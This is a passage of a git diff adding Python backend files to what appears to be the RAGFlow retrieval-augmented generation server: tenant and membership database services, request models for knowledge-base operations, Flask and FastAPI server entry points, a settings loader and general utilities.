+ return list(cls.model.select(*fields)
+ .join(UserTenant, on=((cls.model.id == UserTenant.tenant_id) & (UserTenant.user_id == user_id) & (UserTenant.status == StatusEnum.VALID.value) & (UserTenant.role == UserTenantRole.NORMAL)))
+ .where(cls.model.status == StatusEnum.VALID.value).dicts())
+
+ @classmethod
+ @DB.connection_context()
+ def decrease(cls, user_id, num):
+ num = cls.model.update(credit=cls.model.credit - num).where(
+ cls.model.id == user_id).execute()
+ if num == 0:
+ raise LookupError("Tenant not found which is supposed to be there")
+
+ @classmethod
+ @DB.connection_context()
+ def user_gateway(cls, tenant_id):
+ hashobj = hashlib.sha256(tenant_id.encode("utf-8"))
+ return int(hashobj.hexdigest(), 16)%len(MINIO)
+
+
+class UserTenantService(CommonService):
+ """Service class for managing user-tenant relationship operations.
+
+ This class extends CommonService to handle the many-to-many relationship
+ between users and tenants, managing user roles and tenant memberships.
+
+ Attributes:
+ model: The UserTenant model class for database operations.
+ """
+ model = UserTenant
+
+ @classmethod
+ @DB.connection_context()
+ def filter_by_id(cls, user_tenant_id):
+ try:
+ user_tenant = cls.model.select().where((cls.model.id == user_tenant_id) & (cls.model.status == StatusEnum.VALID.value)).get()
+ return user_tenant
+ except peewee.DoesNotExist:
+ return None
+
+ @classmethod
+ @DB.connection_context()
+ def save(cls, **kwargs):
+ if "id" not in kwargs:
+ kwargs["id"] = get_uuid()
+ obj = cls.model(**kwargs).save(force_insert=True)
+ return obj
+
+ @classmethod
+ @DB.connection_context()
+ def get_by_tenant_id(cls, tenant_id):
+ fields = [
+ cls.model.id,
+ cls.model.user_id,
+ cls.model.status,
+ cls.model.role,
+ User.nickname,
+ User.email,
+ User.avatar,
+ User.is_authenticated,
+ User.is_active,
+ User.is_anonymous,
+ User.status,
+ User.update_date,
+ User.is_superuser]
+ return list(cls.model.select(*fields)
+ .join(User, on=((cls.model.user_id == User.id) & (cls.model.status == StatusEnum.VALID.value) & (cls.model.role != UserTenantRole.OWNER)))
+ .where(cls.model.tenant_id == tenant_id)
+ .dicts())
+
+ @classmethod
+ @DB.connection_context()
+ def get_tenants_by_user_id(cls, user_id):
+ fields = [
+ cls.model.tenant_id,
+ cls.model.role,
+ User.nickname,
+ User.email,
+ User.avatar,
+ User.update_date
+ ]
+ return list(cls.model.select(*fields)
+ .join(User, on=((cls.model.tenant_id == User.id) & (UserTenant.user_id == user_id) & (UserTenant.status == StatusEnum.VALID.value)))
+ .where(cls.model.status == StatusEnum.VALID.value).dicts())
+
+ @classmethod
+ @DB.connection_context()
+ def get_user_tenant_relation_by_user_id(cls, user_id):
+ fields = [
+ cls.model.id,
+ cls.model.user_id,
+ cls.model.tenant_id,
+ cls.model.role
+ ]
+ return list(cls.model.select(*fields).where(cls.model.user_id == user_id).dicts().dicts())
+
+ @classmethod
+ @DB.connection_context()
+ def get_num_members(cls, user_id: str):
+ cnt_members = cls.model.select(peewee.fn.COUNT(cls.model.id)).where(cls.model.tenant_id == user_id).scalar()
+ return cnt_members
+
+ @classmethod
+ @DB.connection_context()
+ def filter_by_tenant_and_user_id(cls, tenant_id, user_id):
+ try:
+ user_tenant = cls.model.select().where(
+ (cls.model.tenant_id == tenant_id) & (cls.model.status == StatusEnum.VALID.value) &
+ (cls.model.user_id == user_id)
+ ).first()
+ return user_tenant
+ except peewee.DoesNotExist:
+ return None
diff --git a/api/models/kb_models.py b/api/models/kb_models.py
new file mode 100644
index 0000000..6fb66dd
--- /dev/null
+++ b/api/models/kb_models.py
@@ -0,0 +1,92 @@
+#
+# Copyright 2024 The InfiniFlow Authors. All Rights Reserved.
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+#
+from typing import Optional, List, Dict, Any
+from pydantic import BaseModel, Field
+
+
+class CreateKnowledgeBaseRequest(BaseModel):
+ """创建知识库请求模型"""
+ name: str = Field(..., description="知识库名称")
+ description: Optional[str] = Field(None, description="知识库描述")
+ parser_id: Optional[str] = Field("naive", description="解析器ID")
+ parser_config: Optional[Dict[str, Any]] = Field(None, description="解析器配置")
+ embd_id: Optional[str] = Field(None, description="嵌入模型ID")
+
+
+class UpdateKnowledgeBaseRequest(BaseModel):
+ """更新知识库请求模型"""
+ kb_id: str = Field(..., description="知识库ID")
+ name: str = Field(..., description="知识库名称")
+ pagerank: Optional[int] = Field(0, description="页面排名")
+
+
+class DeleteKnowledgeBaseRequest(BaseModel):
+ """删除知识库请求模型"""
+ kb_id: str = Field(..., description="知识库ID")
+
+
+class ListKnowledgeBasesRequest(BaseModel):
+ """列出知识库请求模型"""
+ owner_ids: Optional[List[str]] = Field([], description="所有者ID列表")
+
+
+class RemoveTagsRequest(BaseModel):
+ """移除标签请求模型"""
+ tags: List[str] = Field(..., description="要移除的标签列表")
+
+
+class RenameTagRequest(BaseModel):
+ """重命名标签请求模型"""
+ from_tag: str = Field(..., description="原标签名")
+ to_tag: str = Field(..., description="新标签名")
+
+
+class RunGraphRAGRequest(BaseModel):
+ """运行GraphRAG请求模型"""
+ kb_id: str = Field(..., description="知识库ID")
+
+
+class RunRaptorRequest(BaseModel):
+ """运行RAPTOR请求模型"""
+ kb_id: str = Field(..., description="知识库ID")
+
+
+class RunMindmapRequest(BaseModel):
+ """运行Mindmap请求模型"""
+ kb_id: str = Field(..., description="知识库ID")
+
+
+class ListPipelineLogsRequest(BaseModel):
+ """列出管道日志请求模型"""
+ operation_status: Optional[List[str]] = Field([], description="操作状态列表")
+ types: Optional[List[str]] = Field([], description="文件类型列表")
+ suffix: Optional[List[str]] = Field([], description="文件后缀列表")
+
+
+class ListPipelineDatasetLogsRequest(BaseModel):
+ """列出管道数据集日志请求模型"""
+ operation_status: Optional[List[str]] = Field([], description="操作状态列表")
+
+
+class DeletePipelineLogsRequest(BaseModel):
+ """删除管道日志请求模型"""
+ log_ids: List[str] = Field(..., description="日志ID列表")
+
+
+class UnbindTaskRequest(BaseModel):
+ """解绑任务请求模型"""
+ kb_id: str = Field(..., description="知识库ID")
+ pipeline_task_type: str = Field(..., description="管道任务类型")
diff --git a/api/ragflow_server.py b/api/ragflow_server.py
new file mode 100644
index 0000000..fb49f3d
--- /dev/null
+++ b/api/ragflow_server.py
@@ -0,0 +1,170 @@
+#
+# Copyright 2024 The InfiniFlow Authors. All Rights Reserved.
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+#
+
+# from beartype import BeartypeConf
+# from beartype.claw import beartype_all # <-- you didn't sign up for this
+# beartype_all(conf=BeartypeConf(violation_type=UserWarning)) # <-- emit warnings from all code
+
+from api.utils.log_utils import init_root_logger
+from plugin import GlobalPluginManager
+init_root_logger("ragflow_server")
+
+import logging
+import os
+import signal
+import sys
+import time
+import traceback
+import threading
+import uuid
+
+from werkzeug.serving import run_simple
+from api import settings
+from api.apps import app, smtp_mail_server
+from api.db.runtime_config import RuntimeConfig
+from api.db.services.document_service import DocumentService
+from api import utils
+
+from api.db.db_models import init_database_tables as init_web_db
+from api.db.init_data import init_web_data
+from api.versions import get_ragflow_version
+from api.utils.configs import show_configs
+from rag.settings import print_rag_settings
+from rag.utils.mcp_tool_call_conn import shutdown_all_mcp_sessions
+from rag.utils.redis_conn import RedisDistributedLock
+
+stop_event = threading.Event()
+
+RAGFLOW_DEBUGPY_LISTEN = int(os.environ.get('RAGFLOW_DEBUGPY_LISTEN', "0"))
+
+def update_progress():
+ lock_value = str(uuid.uuid4())
+ redis_lock = RedisDistributedLock("update_progress", lock_value=lock_value, timeout=60)
+ logging.info(f"update_progress lock_value: {lock_value}")
+ while not stop_event.is_set():
+ try:
+ if redis_lock.acquire():
+ DocumentService.update_progress()
+ redis_lock.release()
+ except Exception:
+ logging.exception("update_progress exception")
+ finally:
+ try:
+ redis_lock.release()
+ except Exception:
+ logging.exception("update_progress exception")
+ stop_event.wait(6)
+
+def signal_handler(sig, frame):
+ logging.info("Received interrupt signal, shutting down...")
+ shutdown_all_mcp_sessions()
+ stop_event.set()
+ time.sleep(1)
+ sys.exit(0)
+
+if __name__ == '__main__':
+ logging.info(r"""
+ ____ ___ ______ ______ __
+ / __ \ / | / ____// ____// /____ _ __
+ / /_/ // /| | / / __ / /_ / // __ \| | /| / /
+ / _, _// ___ |/ /_/ // __/ / // /_/ /| |/ |/ /
+ /_/ |_|/_/ |_|\____//_/ /_/ \____/ |__/|__/
+
+ """)
+ logging.info(
+ f'RAGFlow version: {get_ragflow_version()}'
+ )
+ logging.info(
+ f'project base: {utils.file_utils.get_project_base_directory()}'
+ )
+ show_configs()
+ settings.init_settings()
+ print_rag_settings()
+
+ if RAGFLOW_DEBUGPY_LISTEN > 0:
+ logging.info(f"debugpy listen on {RAGFLOW_DEBUGPY_LISTEN}")
+ import debugpy
+ debugpy.listen(("0.0.0.0", RAGFLOW_DEBUGPY_LISTEN))
+
+ # init db
+ init_web_db()
+ init_web_data()
+ # init runtime config
+ import argparse
+
+ parser = argparse.ArgumentParser()
+ parser.add_argument(
+ "--version", default=False, help="RAGFlow version", action="store_true"
+ )
+ parser.add_argument(
+ "--debug", default=False, help="debug mode", action="store_true"
+ )
+ args = parser.parse_args()
+ if args.version:
+ print(get_ragflow_version())
+ sys.exit(0)
+
+ RuntimeConfig.DEBUG = args.debug
+ if RuntimeConfig.DEBUG:
+ logging.info("run on debug mode")
+
+ RuntimeConfig.init_env()
+ RuntimeConfig.init_config(JOB_SERVER_HOST=settings.HOST_IP, HTTP_PORT=settings.HOST_PORT)
+
+ GlobalPluginManager.load_plugins()
+
+ signal.signal(signal.SIGINT, signal_handler)
+ signal.signal(signal.SIGTERM, signal_handler)
+
+ def delayed_start_update_progress():
+ logging.info("Starting update_progress thread (delayed)")
+ t = threading.Thread(target=update_progress, daemon=True)
+ t.start()
+
+ if RuntimeConfig.DEBUG:
+ if os.environ.get("WERKZEUG_RUN_MAIN") == "true":
+ threading.Timer(1.0, delayed_start_update_progress).start()
+ else:
+ threading.Timer(1.0, delayed_start_update_progress).start()
+
+ # init smtp server
+ if settings.SMTP_CONF:
+ app.config["MAIL_SERVER"] = settings.MAIL_SERVER
+ app.config["MAIL_PORT"] = settings.MAIL_PORT
+ app.config["MAIL_USE_SSL"] = settings.MAIL_USE_SSL
+ app.config["MAIL_USE_TLS"] = settings.MAIL_USE_TLS
+ app.config["MAIL_USERNAME"] = settings.MAIL_USERNAME
+ app.config["MAIL_PASSWORD"] = settings.MAIL_PASSWORD
+ app.config["MAIL_DEFAULT_SENDER"] = settings.MAIL_DEFAULT_SENDER
+ smtp_mail_server.init_app(app)
+
+
+ # start http server
+ try:
+ logging.info("RAGFlow HTTP server start...")
+ run_simple(
+ hostname=settings.HOST_IP,
+ port=settings.HOST_PORT,
+ application=app,
+ threaded=True,
+ use_reloader=RuntimeConfig.DEBUG,
+ use_debugger=RuntimeConfig.DEBUG,
+ )
+ except Exception:
+ traceback.print_exc()
+ stop_event.set()
+ time.sleep(1)
+ os.kill(os.getpid(), signal.SIGKILL)
diff --git a/api/ragflow_server_fastapi.py b/api/ragflow_server_fastapi.py
new file mode 100644
index 0000000..ff89230
--- /dev/null
+++ b/api/ragflow_server_fastapi.py
@@ -0,0 +1,179 @@
+#
+# Copyright 2024 The InfiniFlow Authors. All Rights Reserved.
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+#
+
+from api.utils.log_utils import init_root_logger
+from plugin import GlobalPluginManager
+init_root_logger("ragflow_server")
+
+import logging
+import os
+import signal
+import sys
+import time
+import traceback
+import threading
+import uuid
+import argparse
+
+import uvicorn
+
+from api import settings
+from api.db.runtime_config import RuntimeConfig
+from api.db.services.document_service import DocumentService
+from api import utils
+
+from api.db.db_models import init_database_tables as init_web_db
+from api.db.init_data import init_web_data
+from api.versions import get_ragflow_version
+from api.utils.configs import show_configs
+from rag.settings import print_rag_settings
+from rag.utils.mcp_tool_call_conn import shutdown_all_mcp_sessions
+from rag.utils.redis_conn import RedisDistributedLock
+
+# 全局停止事件
+stop_event = threading.Event()
+
+# 调试端口配置
+RAGFLOW_DEBUGPY_LISTEN = int(os.environ.get('RAGFLOW_DEBUGPY_LISTEN', "0"))
+
+def update_progress():
+ """更新进度线程函数"""
+ lock_value = str(uuid.uuid4())
+ redis_lock = RedisDistributedLock("update_progress", lock_value=lock_value, timeout=60)
+ logging.info(f"update_progress lock_value: {lock_value}")
+ while not stop_event.is_set():
+ try:
+ if redis_lock.acquire():
+ DocumentService.update_progress()
+ redis_lock.release()
+ except Exception:
+ logging.exception("update_progress exception")
+ finally:
+ try:
+ redis_lock.release()
+ except Exception:
+ logging.exception("update_progress exception")
+ stop_event.wait(6)
+
+def signal_handler(sig, frame):
+ """信号处理器"""
+ logging.info("Received interrupt signal, shutting down...")
+ shutdown_all_mcp_sessions()
+ stop_event.set()
+ time.sleep(1)
+ sys.exit(0)
+
+def setup_health_check(app):
+ """设置健康检查端点"""
+ @app.get("/health")
+ async def health_check():
+ return {"status": "healthy", "version": get_ragflow_version()}
+
+def main():
+ """主函数"""
+ logging.info(r"""
+ ____ ___ ______ ______ __
+ / __ \ / | / ____// ____// /____ _ __
+ / /_/ // /| | / / __ / /_ / // __ \| | /| / /
+ / _, _// ___ |/ /_/ // __/ / // /_/ /| |/ |/ /
+ /_/ |_|/_/ |_|\____//_/ /_/ \____/ |__/|__/
+
+ """)
+ logging.info(f'RAGFlow version: {get_ragflow_version()}')
+ logging.info(f'project base: {utils.file_utils.get_project_base_directory()}')
+
+ show_configs()
+ settings.init_settings()
+ print_rag_settings()
+
+ # 调试模式配置
+ if RAGFLOW_DEBUGPY_LISTEN > 0:
+ logging.info(f"debugpy listen on {RAGFLOW_DEBUGPY_LISTEN}")
+ try:
+ import debugpy
+ debugpy.listen(("0.0.0.0", RAGFLOW_DEBUGPY_LISTEN))
+ except ImportError:
+ logging.warning("debugpy not available, skipping debug setup")
+
+ # 初始化数据库
+ init_web_db()
+ init_web_data()
+
+ # 解析命令行参数
+ parser = argparse.ArgumentParser()
+ parser.add_argument(
+ "--version", default=False, help="RAGFlow version", action="store_true"
+ )
+ parser.add_argument(
+ "--debug", default=False, help="debug mode", action="store_true"
+ )
+ args = parser.parse_args()
+
+ if args.version:
+ print(get_ragflow_version())
+ sys.exit(0)
+
+ RuntimeConfig.DEBUG = args.debug
+ if RuntimeConfig.DEBUG:
+ logging.info("run on debug mode")
+
+ RuntimeConfig.init_env()
+ RuntimeConfig.init_config(JOB_SERVER_HOST=settings.HOST_IP, HTTP_PORT=settings.HOST_PORT)
+
+ # 加载插件
+ GlobalPluginManager.load_plugins()
+
+ # 设置信号处理器
+ signal.signal(signal.SIGINT, signal_handler)
+ signal.signal(signal.SIGTERM, signal_handler)
+
+ def delayed_start_update_progress():
+ """延迟启动进度更新线程"""
+ logging.info("Starting update_progress thread (delayed)")
+ t = threading.Thread(target=update_progress, daemon=True)
+ t.start()
+
+ # 启动进度更新线程
+ if RuntimeConfig.DEBUG:
+ threading.Timer(1.0, delayed_start_update_progress).start()
+ else:
+ threading.Timer(1.0, delayed_start_update_progress).start()
+
+ # 导入FastAPI应用
+ from api.apps.__init___fastapi import app
+
+ # 设置健康检查端点
+ setup_health_check(app)
+
+ # 启动HTTP服务器
+ try:
+ logging.info("RAGFlow HTTP server start...")
+ uvicorn.run(
+ app,
+ host=settings.HOST_IP,
+ port=settings.HOST_PORT,
+ log_level="info" if not RuntimeConfig.DEBUG else "debug",
+ reload=RuntimeConfig.DEBUG,
+ access_log=True
+ )
+ except Exception:
+ traceback.print_exc()
+ stop_event.set()
+ time.sleep(1)
+ os.kill(os.getpid(), signal.SIGKILL)
+
+if __name__ == '__main__':
+ main()
diff --git a/api/settings.py b/api/settings.py
new file mode 100644
index 0000000..e6763d8
--- /dev/null
+++ b/api/settings.py
@@ -0,0 +1,278 @@
+#
+# Copyright 2024 The InfiniFlow Authors. All Rights Reserved.
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+#
+import json
+import os
+import secrets
+from datetime import date
+from enum import Enum, IntEnum
+
+import rag.utils
+import rag.utils.es_conn
+import rag.utils.infinity_conn
+import rag.utils.opensearch_conn
+from api.constants import RAG_FLOW_SERVICE_NAME
+from api.utils.configs import decrypt_database_config, get_base_config
+from api.utils.file_utils import get_project_base_directory
+from rag.nlp import search
+
+LIGHTEN = int(os.environ.get("LIGHTEN", "0"))
+
+LLM = None
+LLM_FACTORY = None
+LLM_BASE_URL = None
+CHAT_MDL = ""
+EMBEDDING_MDL = ""
+RERANK_MDL = ""
+ASR_MDL = ""
+IMAGE2TEXT_MDL = ""
+CHAT_CFG = ""
+EMBEDDING_CFG = ""
+RERANK_CFG = ""
+ASR_CFG = ""
+IMAGE2TEXT_CFG = ""
+API_KEY = None
+PARSERS = None
+HOST_IP = None
+HOST_PORT = None
+SECRET_KEY = None
+FACTORY_LLM_INFOS = None
+
+DATABASE_TYPE = os.getenv("DB_TYPE", "mysql")
+DATABASE = decrypt_database_config(name=DATABASE_TYPE)
+
+# authentication
+AUTHENTICATION_CONF = None
+
+# client
+CLIENT_AUTHENTICATION = None
+HTTP_APP_KEY = None
+GITHUB_OAUTH = None
+FEISHU_OAUTH = None
+OAUTH_CONFIG = None
+DOC_ENGINE = None
+docStoreConn = None
+
+retrievaler = None
+kg_retrievaler = None
+
+# user registration switch
+REGISTER_ENABLED = 1
+
+
+# sandbox-executor-manager
+SANDBOX_ENABLED = 0
+SANDBOX_HOST = None
+STRONG_TEST_COUNT = int(os.environ.get("STRONG_TEST_COUNT", "8"))
+
+BUILTIN_EMBEDDING_MODELS = ["BAAI/bge-large-zh-v1.5@BAAI", "maidalun1020/bce-embedding-base_v1@Youdao"]
+
+SMTP_CONF = None
+MAIL_SERVER = ""
+MAIL_PORT = 000
+MAIL_USE_SSL= True
+MAIL_USE_TLS = False
+MAIL_USERNAME = ""
+MAIL_PASSWORD = ""
+MAIL_DEFAULT_SENDER = ()
+MAIL_FRONTEND_URL = ""
+
+
+def get_or_create_secret_key():
+ secret_key = os.environ.get("RAGFLOW_SECRET_KEY")
+ if secret_key and len(secret_key) >= 32:
+ return secret_key
+
+ # Check if there's a configured secret key
+ configured_key = get_base_config(RAG_FLOW_SERVICE_NAME, {}).get("secret_key")
+ if configured_key and configured_key != str(date.today()) and len(configured_key) >= 32:
+ return configured_key
+
+ # Generate a new secure key and warn about it
+ import logging
+
+ new_key = secrets.token_hex(32)
+ logging.warning(f"SECURITY WARNING: Using auto-generated SECRET_KEY. Generated key: {new_key}")
+ return new_key
+
+
+def init_settings():
+ global LLM, LLM_FACTORY, LLM_BASE_URL, LIGHTEN, DATABASE_TYPE, DATABASE, FACTORY_LLM_INFOS, REGISTER_ENABLED
+ LIGHTEN = int(os.environ.get("LIGHTEN", "0"))
+ DATABASE_TYPE = os.getenv("DB_TYPE", "mysql")
+ DATABASE = decrypt_database_config(name=DATABASE_TYPE)
+ LLM = get_base_config("user_default_llm", {}) or {}
+ LLM_DEFAULT_MODELS = LLM.get("default_models", {}) or {}
+ LLM_FACTORY = LLM.get("factory", "") or ""
+ LLM_BASE_URL = LLM.get("base_url", "") or ""
+ try:
+ REGISTER_ENABLED = int(os.environ.get("REGISTER_ENABLED", "1"))
+ except Exception:
+ pass
+
+ try:
+ with open(os.path.join(get_project_base_directory(), "conf", "llm_factories.json"), "r") as f:
+ FACTORY_LLM_INFOS = json.load(f)["factory_llm_infos"]
+ except Exception:
+ FACTORY_LLM_INFOS = []
+
+ global CHAT_MDL, EMBEDDING_MDL, RERANK_MDL, ASR_MDL, IMAGE2TEXT_MDL
+ global CHAT_CFG, EMBEDDING_CFG, RERANK_CFG, ASR_CFG, IMAGE2TEXT_CFG
+ if not LIGHTEN:
+ EMBEDDING_MDL = BUILTIN_EMBEDDING_MODELS[0]
+
+ global API_KEY, PARSERS, HOST_IP, HOST_PORT, SECRET_KEY
+ API_KEY = LLM.get("api_key")
+ PARSERS = LLM.get(
+ "parsers", "naive:General,qa:Q&A,resume:Resume,manual:Manual,table:Table,paper:Paper,book:Book,laws:Laws,presentation:Presentation,picture:Picture,one:One,audio:Audio,email:Email,tag:Tag"
+ )
+
+ chat_entry = _parse_model_entry(LLM_DEFAULT_MODELS.get("chat_model", CHAT_MDL))
+ embedding_entry = _parse_model_entry(LLM_DEFAULT_MODELS.get("embedding_model", EMBEDDING_MDL))
+ rerank_entry = _parse_model_entry(LLM_DEFAULT_MODELS.get("rerank_model", RERANK_MDL))
+ asr_entry = _parse_model_entry(LLM_DEFAULT_MODELS.get("asr_model", ASR_MDL))
+ image2text_entry = _parse_model_entry(LLM_DEFAULT_MODELS.get("image2text_model", IMAGE2TEXT_MDL))
+
+ CHAT_CFG = _resolve_per_model_config(chat_entry, LLM_FACTORY, API_KEY, LLM_BASE_URL)
+ EMBEDDING_CFG = _resolve_per_model_config(embedding_entry, LLM_FACTORY, API_KEY, LLM_BASE_URL)
+ RERANK_CFG = _resolve_per_model_config(rerank_entry, LLM_FACTORY, API_KEY, LLM_BASE_URL)
+ ASR_CFG = _resolve_per_model_config(asr_entry, LLM_FACTORY, API_KEY, LLM_BASE_URL)
+ IMAGE2TEXT_CFG = _resolve_per_model_config(image2text_entry, LLM_FACTORY, API_KEY, LLM_BASE_URL)
+
+ CHAT_MDL = CHAT_CFG.get("model", "") or ""
+ EMBEDDING_MDL = EMBEDDING_CFG.get("model", "") or ""
+ RERANK_MDL = RERANK_CFG.get("model", "") or ""
+ ASR_MDL = ASR_CFG.get("model", "") or ""
+ IMAGE2TEXT_MDL = IMAGE2TEXT_CFG.get("model", "") or ""
+
+ HOST_IP = get_base_config(RAG_FLOW_SERVICE_NAME, {}).get("host", "127.0.0.1")
+ HOST_PORT = get_base_config(RAG_FLOW_SERVICE_NAME, {}).get("http_port")
+
+ SECRET_KEY = get_or_create_secret_key()
+
+ global AUTHENTICATION_CONF, CLIENT_AUTHENTICATION, HTTP_APP_KEY, GITHUB_OAUTH, FEISHU_OAUTH, OAUTH_CONFIG
+ # authentication
+ AUTHENTICATION_CONF = get_base_config("authentication", {})
+
+ # client
+ CLIENT_AUTHENTICATION = AUTHENTICATION_CONF.get("client", {}).get("switch", False)
+ HTTP_APP_KEY = AUTHENTICATION_CONF.get("client", {}).get("http_app_key")
+ GITHUB_OAUTH = get_base_config("oauth", {}).get("github")
+ FEISHU_OAUTH = get_base_config("oauth", {}).get("feishu")
+
+ OAUTH_CONFIG = get_base_config("oauth", {})
+
+ global DOC_ENGINE, docStoreConn, retrievaler, kg_retrievaler
+ DOC_ENGINE = os.environ.get("DOC_ENGINE", "elasticsearch")
+ # DOC_ENGINE = os.environ.get('DOC_ENGINE', "opensearch")
+ lower_case_doc_engine = DOC_ENGINE.lower()
+ if lower_case_doc_engine == "elasticsearch":
+ docStoreConn = rag.utils.es_conn.ESConnection()
+ elif lower_case_doc_engine == "infinity":
+ docStoreConn = rag.utils.infinity_conn.InfinityConnection()
+ elif lower_case_doc_engine == "opensearch":
+ docStoreConn = rag.utils.opensearch_conn.OSConnection()
+ else:
+ raise Exception(f"Not supported doc engine: {DOC_ENGINE}")
+
+ retrievaler = search.Dealer(docStoreConn)
+ from graphrag import search as kg_search
+
+ kg_retrievaler = kg_search.KGSearch(docStoreConn)
+
+ if int(os.environ.get("SANDBOX_ENABLED", "0")):
+ global SANDBOX_HOST
+ SANDBOX_HOST = os.environ.get("SANDBOX_HOST", "sandbox-executor-manager")
+
+ global SMTP_CONF, MAIL_SERVER, MAIL_PORT, MAIL_USE_SSL, MAIL_USE_TLS
+ global MAIL_USERNAME, MAIL_PASSWORD, MAIL_DEFAULT_SENDER, MAIL_FRONTEND_URL
+ SMTP_CONF = get_base_config("smtp", {})
+
+ MAIL_SERVER = SMTP_CONF.get("mail_server", "")
+ MAIL_PORT = SMTP_CONF.get("mail_port", 000)
+ MAIL_USE_SSL = SMTP_CONF.get("mail_use_ssl", True)
+ MAIL_USE_TLS = SMTP_CONF.get("mail_use_tls", False)
+ MAIL_USERNAME = SMTP_CONF.get("mail_username", "")
+ MAIL_PASSWORD = SMTP_CONF.get("mail_password", "")
+ mail_default_sender = SMTP_CONF.get("mail_default_sender", [])
+ if mail_default_sender and len(mail_default_sender) >= 2:
+ MAIL_DEFAULT_SENDER = (mail_default_sender[0], mail_default_sender[1])
+ MAIL_FRONTEND_URL = SMTP_CONF.get("mail_frontend_url", "")
+
+
+class CustomEnum(Enum):
+ @classmethod
+ def valid(cls, value):
+ try:
+ cls(value)
+ return True
+ except BaseException:
+ return False
+
+ @classmethod
+ def values(cls):
+ return [member.value for member in cls.__members__.values()]
+
+ @classmethod
+ def names(cls):
+ return [member.name for member in cls.__members__.values()]
+
+
+class RetCode(IntEnum, CustomEnum):
+ SUCCESS = 0
+ NOT_EFFECTIVE = 10
+ EXCEPTION_ERROR = 100
+ ARGUMENT_ERROR = 101
+ DATA_ERROR = 102
+ OPERATING_ERROR = 103
+ CONNECTION_ERROR = 105
+ RUNNING = 106
+ PERMISSION_ERROR = 108
+ AUTHENTICATION_ERROR = 109
+ UNAUTHORIZED = 401
+ SERVER_ERROR = 500
+ FORBIDDEN = 403
+ NOT_FOUND = 404
+
+
+def _parse_model_entry(entry):
+ if isinstance(entry, str):
+ return {"name": entry, "factory": None, "api_key": None, "base_url": None}
+ if isinstance(entry, dict):
+ name = entry.get("name") or entry.get("model") or ""
+ return {
+ "name": name,
+ "factory": entry.get("factory"),
+ "api_key": entry.get("api_key"),
+ "base_url": entry.get("base_url"),
+ }
+ return {"name": "", "factory": None, "api_key": None, "base_url": None}
+
+
+def _resolve_per_model_config(entry_dict, backup_factory, backup_api_key, backup_base_url):
+ name = (entry_dict.get("name") or "").strip()
+ m_factory = entry_dict.get("factory") or backup_factory or ""
+ m_api_key = entry_dict.get("api_key") or backup_api_key or ""
+ m_base_url = entry_dict.get("base_url") or backup_base_url or ""
+
+ if name and "@" not in name and m_factory:
+ name = f"{name}@{m_factory}"
+
+ return {
+ "model": name,
+ "factory": m_factory,
+ "api_key": m_api_key,
+ "base_url": m_base_url,
+ }
diff --git a/api/utils/__init__.py b/api/utils/__init__.py
new file mode 100644
index 0000000..e0f8a56
--- /dev/null
+++ b/api/utils/__init__.py
@@ -0,0 +1,132 @@
+#
+# Copyright 2024 The InfiniFlow Authors. All Rights Reserved.
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+#
+import base64
+import datetime
+import hashlib
+import os
+import socket
+import time
+import uuid
+import requests
+
+import importlib
+
+from .common import string_to_bytes
+
+
+def current_timestamp():
+ return int(time.time() * 1000)
+
+
+def timestamp_to_date(timestamp, format_string="%Y-%m-%d %H:%M:%S"):
+ if not timestamp:
+ timestamp = time.time()
+ timestamp = int(timestamp) / 1000
+ time_array = time.localtime(timestamp)
+ str_date = time.strftime(format_string, time_array)
+ return str_date
+
+
+def date_string_to_timestamp(time_str, format_string="%Y-%m-%d %H:%M:%S"):
+ time_array = time.strptime(time_str, format_string)
+ time_stamp = int(time.mktime(time_array) * 1000)
+ return time_stamp
+
+
+def get_lan_ip():
+ if os.name != "nt":
+ import fcntl
+ import struct
+
+ def get_interface_ip(ifname):
+ s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
+ return socket.inet_ntoa(
+ fcntl.ioctl(s.fileno(), 0x8915, struct.pack('256s', string_to_bytes(ifname[:15])))[20:24])
+
+ ip = socket.gethostbyname(socket.getfqdn())
+ if ip.startswith("127.") and os.name != "nt":
+ interfaces = [
+ "bond1",
+ "eth0",
+ "eth1",
+ "eth2",
+ "wlan0",
+ "wlan1",
+ "wifi0",
+ "ath0",
+ "ath1",
+ "ppp0",
+ ]
+ for ifname in interfaces:
+ try:
+ ip = get_interface_ip(ifname)
+ break
+ except IOError:
+ pass
+ return ip or ''
+
+
+def from_dict_hook(in_dict: dict):
+ if "type" in in_dict and "data" in in_dict:
+ if in_dict["module"] is None:
+ return in_dict["data"]
+ else:
+ return getattr(importlib.import_module(
+ in_dict["module"]), in_dict["type"])(**in_dict["data"])
+ else:
+ return in_dict
+
+
+def get_uuid():
